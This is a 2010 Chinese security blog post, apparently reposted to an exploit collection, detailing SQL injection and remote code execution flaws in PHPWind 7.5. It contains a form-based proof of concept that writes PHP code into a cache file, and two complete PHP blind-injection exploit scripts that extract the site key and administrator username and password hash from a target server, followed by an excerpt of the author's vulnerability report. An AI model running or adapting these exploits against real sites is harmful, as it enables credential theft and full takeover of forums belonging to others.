Phpwind 注入以及利用之一:远程代码执行

2010, September 6, 1:15 PM. oday收藏
Submitted by admin

都是去年的东西了,拖啊拖,拖到今天9月份了,http://www.oldjun.com/blog/index.php/archives/68/文章底下我留了个铺垫...本来准备跟黑哥来个SOPW的专辑的...不过还没等我发,80sec的同学已经发出来了...那就算了,直接把注入以及利用写点blog吧...

想说的几点:

1.pw虽然过滤的很BT,但注入不止这一个点;
2.利用注入获取系统关键的db_siteownerid后,拿shell可以获得很大的帮助,包括这个代码执行,以及下面我要公布的上传;
3.去年我看原始的pw7.5的时候,也就是saiy没发布那个包含漏洞http://www.80vul.com/pwvul/phpwind.txt的时候,都不需要db_siteownerid,也就是直接的代码执行。(于是显然...saiy牛也应该很早就发现这个漏洞了...)

好了,先说注入,很明显很白痴的一个点,其实比代码执行好看多了,估计很多人就知道了,而且在很多版本中存在,如果不是过滤的严格一点,在pw7.5的sp3版本里可以update任意表的。

看代码:

...
} elseif ($action == 'pcdelimg') {
    InitGP(array('fieldname','pctype'));
    InitGP(array('tid','id'),2);
    if (!$tid || !$id || !$fieldname || !$pctype) {
        echo 'fail';
    }
    $id = (int)$id;
    if ($pctype == 'topic') {
        $tablename = GetTopcitable($id);
    } elseif ($pctype == 'postcate') {
        $tablename = GetPcatetable($id);
    }

    $path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));

    if (strpos($path,'..') !== false) {
        return false;
    }
    $lastpos = strrpos($path,'/') + 1;
    $s_path = substr($path, 0, $lastpos) . 's_' . substr($path, $lastpos);

    if (!file_exists("$attachpath/$path")) {
        if (pwFtpNew($ftp,$db_ifftp)) {
            $ftp->delete($path);
            $ftp->delete($s_path);
            pwFtpClose($ftp);
        }
    } else {
        P_unlink("$attachdir/$path");
        if (file_exists("$attachdir/$s_path")) {
            P_unlink("$attachdir/$s_path");
        }
    }

    $db->update("UPDATE $tablename SET $fieldname='' WHERE tid=". pwEscape($tid));

    echo 'success';

    ajax_footer();

...

就是直接带进来,急死人(阿里的孩子)啦...我当年也针对db_siteownerid与管理员用户密码分别写了exp,不过注入的方法跟乌云里不一样。

下面说远程代码执行,pw整体写缓存,一个函数pw_var_export打遍天下,让你几乎无可趁之机,不过uc的应用里写缓存的时候,对于key有点没当回事,于是$class[cid]被直接带进去了:

...
function threadscateGory($classdb) {//生成帖子交换分类
    
        $classcache = "<?phprn$info_class=array(rn";

        foreach ($classdb as $key => $class) {

            !$class['ifshow'] && $class['ifshow'] = '0';
            $flag && $info_class[$class['cid']]['ifshow'] && $class['ifshow'] = '1';

            $class['name'] = str_replace(array('"',"'"),array("
&quot;","&#39;"),$class['name']);
            
$classcache .= "'$class[cid]'=>".pw_var_export($class).",\r\n\r\n";
        }
        
$classcache .= ");\r\n?>";
        
writeover(D_P."data/bbscache/info_class.php",$classcache);
    }
...

于是,直接写可执行脚本进缓存,生成shell在data/bbscache/info_class.php!没什么悬念了!

贴个当年不需要db_siteid时候的poc:

<form method="post" action="http://127.0.0.1/phpwind/pw_api.php" enctype="multipart/form-data">
text:<input type="text" name="type" value="uc" size="80" /><br>
text:<input type="text" name="mode" value="Other" size="80" /><br>
text:<input type="text" name="method" value="threadscateGory" size="80" /><br>
text:<textarea name="params">a:1:{s:4:"cid'";a:1:{s:4:"cid'";a:1:{s:3:"cid";s:16:"1');phpinfo();/*";}}}</textarea><br>
text:<input type="text" name="sig" value="7a7f6173632485b4c3e6d3671da683a3" size="80" /><br>
<input type="submit" name="submit" value="提交" class="submit" /></td>
</form>

贴几个注入的exp,一个是获取db_siteid的,一个获取管理员用户名密码的,由于需要登录,没写成自动获取cookie的,需要大家自行修改cookie与user_agent!

获取db_siteid:

<?
print_r
('
--------------------------------------------------------------------------------
PHPWind v7.5  "ajax" SQL injection/db_siteid credentials disclosure exploit
BY oldjun(www.oldjun.com)
--------------------------------------------------------------------------------
'
);

if (
$argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '
.$argv[0].' localhost / 
--------------------------------------------------------------------------------
'
);
die;
}

function 
getrand($i)
{
 for(
$j=0;$j<=$i-1;$j++)
 {
  
srand((double)microtime()*1000000);
  
$randname=rand(!$j 10,9);
  
$randnum.=$randname;
 }
 return 
$randnum;
}

function 
sendpacketii($packet)
{
global  
$host$html;
$ock=fsockopen(gethostbyname($host),'80');
if (!
$ock) {
echo 
'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!
feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix="pw_";

//modify cookie and agent
$cookie="ac5bf_c_stamp=1262249995; ac5bf_lastpos=index; ac5bf_winduser=BlECAj4BBQYLCgUAVAMBVAUDAgVUBQMFD1YHWVRdU1ZUVwZXAm8%3D; ac5bf_ck_info=%2F%09; ac5bf_lastvisit=0%091262249995%09%2Findex.php%3Fu%3D2418; ac5bf_olid=12331; ac5bf_ipstate=1262249995; lstat_bc_1321047=25108016803970909784; lstat_ss_1321047=1_1262278680_3261065129";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;oldjun; .NET CLR 2.0.50727)";

if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 
'Error... check the path!'; die;}

/*get   $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (
eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset(
$temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if(
$temp2[0])
$prefix=$temp2[0];
echo 
"[+]prefix -> ".$prefix."\n";
echo 
"[~]exploting now,plz waiting\r\n";
}else{
die(
"Wrong path or not Login!!!\r\n".$html);
}

/*get db_siteid*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$db_siteid="";$str="";$sql="";
while (
strlen($db_siteid)<32)
{
for (
$i=30$i<=66$i++)
{
if (
in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=db_name/**/from/**/".$prefix."config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$db_siteid.=hex2asc($i);
echo
"[+]pwd:".$db_siteid."\r\n";break;}
}
if (
$i==66) {die("Exploit failed...");}
}
}
print_r('
--------------------------------------------------------------------------------
[+]db_siteid -> '
.$db_siteid.'
--------------------------------------------------------------------------------
'
);
function 
is_hash($hash)
{
if (
ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return 
false;}
}
if (
is_hash($db_siteid)) {echo "Exploit succeeded...";}
else {echo 
"Exploit failed...";}

function 
hex2asc($str) {
    
$str join('',explode('\x',$str));
    
$len strlen($str);
    for (
$i=0;$i<$len;$i+=2$data.=chr(hexdec(substr($str,$i,2)));
    return 
$data;
}
function 
asc2hex($str){
    
$hex=base_convert($str,10,16);
    return 
strlen($hex)==2?$hex:"0".$hex;
}
?>

获取管理员用户名密码:

<?
print_r
('
--------------------------------------------------------------------------------
PHPWind v7.5  "ajax" SQL injection/admin credentials disclosure exploit
BY oldjun(www.oldjun.com)
--------------------------------------------------------------------------------
'
);

if (
$argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '
.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '
.$argv[0].' localhost / 1
--------------------------------------------------------------------------------
'
);
die;
}

function 
getrand($i)
{
 for(
$j=0;$j<=$i-1;$j++)
 {
  
srand((double)microtime()*1000000);
  
$randname=rand(!$j 10,9);
  
$randnum.=$randname;
 }
 return 
$randnum;
}

function 
sendpacketii($packet)
{
global  
$host$html;
$ock=fsockopen(gethostbyname($host),'80');
if (!
$ock) {
echo 
'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!
feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$uid=$argv[3];
$prefix="pw_";

//modify cookie and agent
$cookie="admin_att=att; tl0_sid=8A7JT5; 744aa_lastpos=other; 744aa_ol_offset=97; 744aa_ipstate=1262920914; 744aa_threadlog=%2C2%2C; 744aa_readlog=%2C91%2C96%2C; 744aa_AdminUser=CQMOUV1WA1EBBD1ZAQwIXW8BCFMNUVIGBQQDUQUJVgRZBQIHWlIPAVEHUlUBUQBeUWg%3D; 744aa_admin_att=watermark;  744aa_jobpop=0; 744aa_winduser=CTgMBgBRVlEAAwcNVgcFAQQKWgEMBwAFBQdSAgVZA1dTAG8%3D; 744aa_ck_info=%2F%09";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;oldjun; .NET CLR 2.0.50727)";

if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 
'Error... check the path!'; die;}

/*get   $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (
eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset(
$temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if(
$temp2[0])
$prefix=$temp2[0];
echo 
"[+]prefix -> ".$prefix."\n";
echo 
"[~]exploting now,plz waiting\r\n";
}else{
die(
"Wrong path or not Login!!!\r\n".$html);
}

/*get password*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$password="";$str="";$sql="";
while (
strlen($password)<32)
{
for (
$i=30$i<=66$i++)
{
if (
in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=username/**/from/**/".$prefix."members/**/where/**/uid/**/like/**/".$uid."/**/and/**/password/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$password.=hex2asc($i);
echo
"[+]pwd:".$password."\r\n";break;}
}
if (
$i==66) {die("Exploit failed...");}
}
}

/*get username*/
$j=0;$username="";$str="";$sql="";
while (!
strstr($username,chr(0)))
{
for (
$i=0$i<=255$i++)
{
$j=asc2hex($i);
if(
$j!=25){
$sql="0x".$str.$j."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=username/**/from/**/".$prefix."members/**/where/**/uid/**/like/**/".$uid."/**/and/**/username/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!
eregi("fail",$html))
{
$str=$str.$j;
$username.=strtolower(hex2asc($j));
echo
"[+]username:".$username."\r\n";break;}
}
if (
$i==255) {echo "Finished...\r\n";$over=1;}
}
if(
$over==1){break;}
}
print_r('
--------------------------------------------------------------------------------
[+]username -> '
.$username.'
[+]password(md5 32λ) -> '
.$password.'
--------------------------------------------------------------------------------
'
);
function 
is_hash($hash)
{
if (
ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return 
false;}
}
if (
is_hash($password)) {echo "Exploit succeeded...";}
else {echo 
"Exploit failed...";}

function 
hex2asc($str) {
    
$str join('',explode('\x',$str));
    
$len strlen($str);
    for (
$i=0;$i<$len;$i+=2$data.=chr(hexdec(substr($str,$i,2)));
    return 
$data;
}
function 
asc2hex($str){
    
$hex=base_convert($str,10,16);
    return 
strlen($hex)==2?$hex:"0".$hex;
}
?>

---------------------------------------分割线------------------------------------------

早上回公司早以前的exp,看到以前一份文档,才想起来,注入漏洞已经于2010年1月18日提交国家漏洞库,下面是当时的标准文档的部分内容:

一、漏洞介绍
1.漏洞介绍
PHPWind 7.5版本中的pw_ajax.php文件中当action为pcdelimg时,$fieldname未进行有效过滤,可以任意构造数据进行提交,从而造成SQL注入漏洞。

2.漏洞危害(危害等级高)
PHPWind 7.5版本,可以通过注入获取管理员用户名以及密码,从而获取网站的控制权。

二、漏洞细节
1、 Pw_ajax.php文件:

//漏洞出现下$action 为pcdelimg的时候,某些用户提交的变量,程序没有进行充分过滤,而直接带入查询,导致SQL注入。

elseif ($action == 'pcdelimg') {
InitGP(array('fieldname','pctype'));//获取提交的fieldname值
InitGP(array('tid','id'),2);
if (!$tid || !$id || !$fieldname || !$pctype) {
echo 'fail';
}
$id = (int)$id;
if ($pctype == 'topic') {
$tablename = GetTopcitable($id);
} elseif ($pctype == 'postcate') {
$tablename = GetPcatetable($id);
}

$path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));//直接带入数据库查询

if (strpos($path,'..') !== false) {
return false;
}
$lastpos = strrpos($path,'/') + 1;
$s_path = substr($path, 0, $lastpos) . 's_' . substr($path, $lastpos);

if (!file_exists("$attachpath/$path")) {
if (pwFtpNew($ftp,$db_ifftp)) {
$ftp->delete($path);
$ftp->delete($s_path);
pwFtpClose($ftp);
}
} else {
P_unlink("$attachdir/$path");
if (file_exists("$attachdir/$s_path")) {
P_unlink("$attachdir/$s_path");
}
}

$db->update("UPDATE $tablename SET $fieldname='' WHERE tid=". pwEscape($tid));

echo 'success';

ajax_footer();
}

2、 虽然程序有过滤,但是还是可以通过盲注绕过:

//首先看看require文件夹下的common.php文件,提交的变量通过InitGP函数获得,从函数可以看到InitGP获取的是GET或者POST提交的内容。
function InitGP($keys,$method=null,$cvtype=1){//0=null,1=Char_cv,2=int
//Copyright (c) 2003-09 PHPWind
!is_array($keys) && $keys = array($keys);
foreach ($keys as $key) {
if ($key == 'GLOBALS') continue;
$GLOBALS[$key] = NULL;
if ($method != 'P' && isset($_GET[$key])) {
$GLOBALS[$key] = $_GET[$key];
} elseif ($method != 'G' && isset($_POST[$key])) {
$GLOBALS[$key] = $_POST[$key];
}
if (isset($GLOBALS[$key]) && !empty($cvtype) || $cvtype==2) {
$GLOBALS[$key] = Char_cv($GLOBALS[$key],$cvtype==2,true);
}
}
}
//再看看根目录下的global.php文件,里面使用Checkvar函数对用户提交的GET与POST变量进行了处理。
foreach ($_POST as $_key => $_value) {
if (!in_array($_key,array('atc_content','atc_title','prosign','pwuser','pwpwd'))) {
CheckVar($_POST[$_key]);
}
}
foreach ($_GET as $_key => $_value) {
CheckVar($_GET[$_key]);
}
//最后再看看require下common.php里的CheckVar函数,可以看到只是处理了一部分符号。
function CheckVar(&$var) {
if (is_array($var)) {
foreach ($var as $key => $value) {
CheckVar($var[$key]);
}
} elseif (P_W != 'admincp') {
$var = str_replace(array('..',')','<','='),array('&#46;&#46;','&#41;','&#60;','&#61;'),$var);
} elseif (str_replace(array('<iframe','<meta','<script'),'',$var)!=$var) {
global $basename;
$basename = 'javascript:history.go(-1);';
adminmsg('word_error');
}
}

Tags: phpwind

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Phpwind 注入漏洞以及利用之二:文件上传拿shell (浏览: 12181, 评论: 0)
phpwind漏洞EXP (浏览: 17504, 评论: 0)
Phpwind7-8远程代码执行漏洞 (浏览: 11796, 评论: 0)
phpwind7.5 远程包含漏洞利用方法 (浏览: 13417, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):